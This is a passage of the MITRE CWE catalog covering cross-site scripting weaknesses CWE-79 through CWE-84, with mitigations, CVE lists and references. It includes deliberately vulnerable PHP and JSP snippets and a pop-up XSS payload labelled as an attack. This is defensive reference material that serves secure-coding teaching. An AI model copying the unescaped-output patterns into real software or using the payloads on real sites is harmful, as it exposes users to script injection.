The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

Example 5:

The following code is a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:

Example Language: PHP

(Bad)

```
$name = $_COOKIE["myname"];
$announceStr = "$name just logged in.";
//save HTML-formatted message to file; implementation details are irrelevant for this example.
saveMessage($announceStr);
```

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:

Example Language:

(Attack)

```
<script>document.alert('Hacked');</script>
```

The raw contents of the message file would look like:

Example Language:

(Result)

```
<script>document.alert('Hacked');</script> has logged in.
```

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

Observed Examples

Reference	Description
CVE-2021-25926	Python Library Manager did not sufficiently neutralize a user-supplied search term, allowing reflected XSS. https://www.cve.org/CVERecord?id=CVE-2021-25926
CVE-2021-25963	Python-based e-commerce platform did not escape returned content on error pages, allowing for reflected Cross-Site Scripting attacks. https://www.cve.org/CVERecord?id=CVE-2021-25963

Reference	Description
CVE-2021-1879	Universal XSS in mobile operating system, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2021-1879
CVE-2020-3580	Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-3580
CVE-2014-8958	Admin GUI allows XSS through cookie. https://www.cve.org/CVERecord?id=CVE-2014-8958
CVE-2017-9764	Web stats program allows XSS through crafted HTTP header. https://www.cve.org/CVERecord?id=CVE-2017-9764
CVE-2014-5198	Web log analysis product allows XSS through crafted HTTP Referer header. https://www.cve.org/CVERecord?id=CVE-2014-5198
CVE-2008-5080	Chain: protection mechanism failure allows XSS https://www.cve.org/CVERecord?id=CVE-2008-5080
CVE-2006-4308	Chain: incomplete denylist (CWE-184) only checks "javascript:" tag, allowing XSS (CWE-79) using other tags https://www.cve.org/CVERecord?id=CVE-2006-4308
CVE-2007-5727	Chain: incomplete denylist (CWE-184) only removes SCRIPT tags, enabling XSS (CWE-79) https://www.cve.org/CVERecord?id=CVE-2007-5727
CVE-2008-5770	Reflected XSS using the PATH_INFO in a URL https://www.cve.org/CVERecord?id=CVE-2008-5770
CVE-2008-4730	Reflected XSS not properly handled when generating an error message https://www.cve.org/CVERecord?id=CVE-2008-4730
CVE-2008-5734	Reflected XSS sent through email message. https://www.cve.org/CVERecord?id=CVE-2008-5734
CVE-2008-0971	Stored XSS in a security product. https://www.cve.org/CVERecord?id=CVE-2008-0971
CVE-2008-5249	Stored XSS using a wiki page. https://www.cve.org/CVERecord?id=CVE-2008-5249
CVE-2006-3568	Stored XSS in a guestbook application. https://www.cve.org/CVERecord?id=CVE-2006-3568
CVE-2006-3211	Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag. https://www.cve.org/CVERecord?id=CVE-2006-3211
CVE-2006-3295	Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS (CWE-79). https://www.cve.org/CVERecord?id=CVE-2006-3295

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2552
MemberOf	C	712	OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)	629	2330
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2334
MemberOf	C	725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws	711	2336
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	2352

Nature	Type	ID	Name	V	Page
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	2354
MemberOf	C	811	OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)	809	2357
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	2371
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	931	OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)	928	2390
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1005	7PK - Input Validation and Representation	700	2421
MemberOf	C	1033	OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)	1026	2438
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2442
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2587
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2485
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2589
MemberOf	V	1340	CISQ Data Protection Measures	1340	2590
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2594
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2597
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2600

Notes

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Applicable Platform

XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cross-site scripting (XSS)
7 Pernicious Kingdoms			Cross-site Scripting
CLASP			Cross-site scripting
OWASP Top Ten 2007	A1	Exact	Cross Site Scripting (XSS)
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A4	Exact	Cross-Site Scripting (XSS) Flaws
WASC	8		Cross-site Scripting

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-79		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
63	Cross-Site Scripting (XSS)
85	AJAX Footprinting
209	XSS Using MIME Type Mismatch
588	DOM-Based XSS
591	Reflected XSS
592	Stored XSS

References

[REF-709]Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". 2007. Syngress.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-712]"Cross-site scripting". 2008 August 6. Wikipedia. < https://en.wikipedia.org/wiki/Cross-site_scripting >.2023-04-07.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-714]RSnake. "XSS (Cross Site Scripting) Cheat Sheet". < <http://ha.ckers.org/xss.html> >.

[REF-715]Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". < [https://learn.microsoft.com/en-us/previous-versions/ms533046\(v=vs.85\)?redirectedfrom=MSDN](https://learn.microsoft.com/en-us/previous-versions/ms533046(v=vs.85)?redirectedfrom=MSDN) >.2023-04-07.

[REF-716]Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!". < <https://learn.microsoft.com/en-us/archive/blogs/cisg/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live> >.2023-04-07.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-718]Ivan Ristic. "XSS Defense HOWTO". < <https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/xss-defense-howto/> >.2023-04-07.

[REF-719]OWASP. "Web Application Firewall". < http://www.owasp.org/index.php/Web_Application_Firewall >.

[REF-720]Web Application Security Consortium. "Web Application Firewall Evaluation Criteria". < <http://projects.webappsec.org/w/page/13246985/Web%20Application%20Firewall%20Evaluation%20Criteria> >.2023-04-07.

[REF-721]RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHttpRequest". 2007 July 9.

[REF-722]"XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. < https://bugzilla.mozilla.org/show_bug.cgi?id=380418 >.

[REF-723]"Apache Wicket". < <http://wicket.apache.org/> >.

[REF-724]OWASP. "XSS (Cross Site Scripting) Prevention Cheat Sheet". < [http://www.owasp.org/index.php/XSS_\(Cross_Site_Scripting\)_Prevention_Cheat_Sheet](http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) >.

[REF-725]OWASP. "DOM based XSS Prevention Cheat Sheet". < http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet >.

[REF-726]Jason Lam. "Top 25 series - Rank 1 - Cross Site Scripting". 2010 February 2. SANS Software Security Institute. < <https://www.sans.org/blog/top-25-series-rank-1-cross-site-scripting/> >.2023-04-07.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-956]Wikipedia. "Samy (computer worm)". < [https://en.wikipedia.org/wiki/Samy_\(computer_worm\)](https://en.wikipedia.org/wiki/Samy_(computer_worm)) >.2018-01-16.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Weakness ID : 80

Structure : Simple

Abstraction : Variant

Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.


Extended Description

This may allow such characters to be treated as control characters, which are executed client-side in the context of the user's session. Although this can be classified as an injection problem, the more pertinent issue is the improper conversion of such special characters to respective context-appropriate entities before displaying them to the user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	163

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
Availability		

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness = Defense in Depth

Demonstrative Examples

Example 1:

In the following example, a guestbook comment isn't properly encoded, filtered, or otherwise neutralized for script-related tags before being displayed in a client browser.

Example Language: JSP

(Bad)




```
<% for (Iterator i = guestbook.iterator(); i.hasNext(); ) {
    Entry e = (Entry) i.next(); %>
    <p>Entry #<%= e.getId() %></p>
    <p><%= e.getText() %></p>
    <%
    } %>
```

Observed Examples

Reference	Description
CVE-2002-0938	XSS in parameter in a link. https://www.cve.org/CVERecord?id=CVE-2002-0938
CVE-2002-1495	XSS in web-based email product via attachment filenames. https://www.cve.org/CVERecord?id=CVE-2002-1495
CVE-2003-1136	HTML injection in posted message. https://www.cve.org/CVERecord?id=CVE-2003-1136
CVE-2004-2171	XSS not quoted in error page. https://www.cve.org/CVERecord?id=CVE-2004-2171

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf		1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf		1409	Comprehensive Categorization: Injection	1400	2535

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Basic XSS
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
18	XSS Targeting Non-Script Elements
32	XSS Through HTTP Query Strings
86	XSS Through HTTP Headers
193	PHP Remote File Inclusion

CWE-81: Improper Neutralization of Script in an Error Message Web Page

Weakness ID : 81

Structure : Simple

Abstraction : Variant

Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page.

Extended Description




Error pages may include customized 403 Forbidden or 404 Not Found pages.

When an attacker can trigger an error that contains script syntax within the attacker's input, then cross-site scripting attacks may be possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	163
CanAlsoBe		209	Generation of Error Message Containing Sensitive Information	533
CanAlsoBe		390	Detection of Error Condition Without Action	943

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

Potential Mitigations

Phase: Implementation

Do not write user-controlled input to error pages.

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either

by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.



Effectiveness = Defense in Depth

Observed Examples

Reference	Description
CVE-2002-0840	XSS in default error page from Host: header. https://www.cve.org/CVERecord?id=CVE-2002-0840
CVE-2002-1053	XSS in error message. https://www.cve.org/CVERecord?id=CVE-2002-1053
CVE-2002-1700	XSS in error page from targeted parameter. https://www.cve.org/CVERecord?id=CVE-2002-1700

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf		1409	Comprehensive Categorization: Injection	1400	2535

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			XSS in error pages
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
198	XSS Targeting Error Pages

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page

Weakness ID : 82

Structure : Simple

Abstraction : Variant

Description

The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute.


Extended Description

Attackers can embed XSS exploits into the values for IMG attributes (e.g. SRC) that is streamed and then executed in a victim's browser. Note that when the page is loaded into a user's browsers, the exploit will automatically execute.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		83	Improper Neutralization of Script in Attributes in a Web Page	183

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

Potential Mitigations

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet

Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.



Effectiveness = Defense in Depth

Observed Examples

Reference	Description
CVE-2006-3211	Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag. https://www.cve.org/CVERecord?id=CVE-2006-3211
CVE-2002-1649	javascript URI scheme in IMG tag. https://www.cve.org/CVERecord?id=CVE-2002-1649
CVE-2002-1803	javascript URI scheme in IMG tag. https://www.cve.org/CVERecord?id=CVE-2002-1803
CVE-2002-1804	javascript URI scheme in IMG tag. https://www.cve.org/CVERecord?id=CVE-2002-1804
CVE-2002-1805	javascript URI scheme in IMG tag. https://www.cve.org/CVERecord?id=CVE-2002-1805
CVE-2002-1806	javascript URI scheme in IMG tag. https://www.cve.org/CVERecord?id=CVE-2002-1806
CVE-2002-1807	javascript URI scheme in IMG tag. https://www.cve.org/CVERecord?id=CVE-2002-1807
CVE-2002-1808	javascript URI scheme in IMG tag. https://www.cve.org/CVERecord?id=CVE-2002-1808

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf		1409	Comprehensive Categorization: Injection	1400	2535

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Script in IMG tags
Software Fault Patterns	SFP24		Tainted input to command

CWE-83: Improper Neutralization of Script in Attributes in a Web Page

Weakness ID : 83

Structure : Simple

Abstraction : Variant

Description



The product does not neutralize or incorrectly neutralizes "javascript:" or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	163
ParentOf		82	Improper Neutralization of Script in Attributes of IMG Tags in a Web Page	182

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is

also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy = Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.




Effectiveness = Defense in Depth

Observed Examples

Reference	Description
CVE-2001-0520	Bypass filtering of SCRIPT tags using onload in BODY, href in A, BUTTON, INPUT, and others. https://www.cve.org/CVERecord?id=CVE-2001-0520
CVE-2002-1493	guestbook XSS in STYLE or IMG SRC attributes. https://www.cve.org/CVERecord?id=CVE-2002-1493
CVE-2002-1965	Javascript in onerror attribute of IMG tag. https://www.cve.org/CVERecord?id=CVE-2002-1965
CVE-2002-1495	XSS in web-based email product via onmouseover event. https://www.cve.org/CVERecord?id=CVE-2002-1495
CVE-2002-1681	XSS via script in <P> tag. https://www.cve.org/CVERecord?id=CVE-2002-1681
CVE-2004-1935	Onload, onmouseover, and other events in an e-mail attachment. https://www.cve.org/CVERecord?id=CVE-2004-1935
CVE-2005-0945	Onmouseover and onload events in img, link, and mail tags. https://www.cve.org/CVERecord?id=CVE-2005-0945
CVE-2003-1136	Javascript in onmouseover attribute in e-mail address or URL. https://www.cve.org/CVERecord?id=CVE-2003-1136

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf		1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf		1409	Comprehensive Categorization: Injection	1400	2535

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			XSS using Script in Attributes
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID Attack Pattern Name

243	XSS Targeting HTML Attributes
244	XSS Targeting URI Placeholders
588	DOM-Based XSS


CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page**Weakness ID :** 84**Structure :** Simple**Abstraction :** Variant**Description**

The web application improperly neutralizes user-controlled input for executable script disguised with URI encodings.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	163

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations**Phase: Implementation**

Strategy = Input Validation

Resolve all URIs to absolute or canonical representations before processing.

Phase: Implementation

Strategy = Input Validation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site.

We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation*Strategy = Attack Surface Reduction*

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

*Effectiveness = Defense in Depth***Observed Examples**

Reference	Description
CVE-2005-0563	Cross-site scripting (XSS) vulnerability in Microsoft Outlook Web Access (OWA) component in Exchange Server 5.5 allows remote attackers to inject arbitrary web script or HTML via an email message with an encoded javascript: URL ("javAsc
ript:") in an IMG tag. https://www.cve.org/CVERecord?id=CVE-2005-0563
CVE-2005-2276	Cross-site scripting (XSS) vulnerability in Novell Groupwise WebAccess 6.5 before July 11, 2005 allows remote attackers to inject arbitrary web script or HTML via an e-mail message with an encoded javascript URI (e.g. "jAvascript" in an IMG tag). https://www.cve.org/CVERecord?id=CVE-2005-2276
CVE-2005-0692	Encoded script within BBcode IMG tag. https://www.cve.org/CVERecord?id=CVE-2005-0692
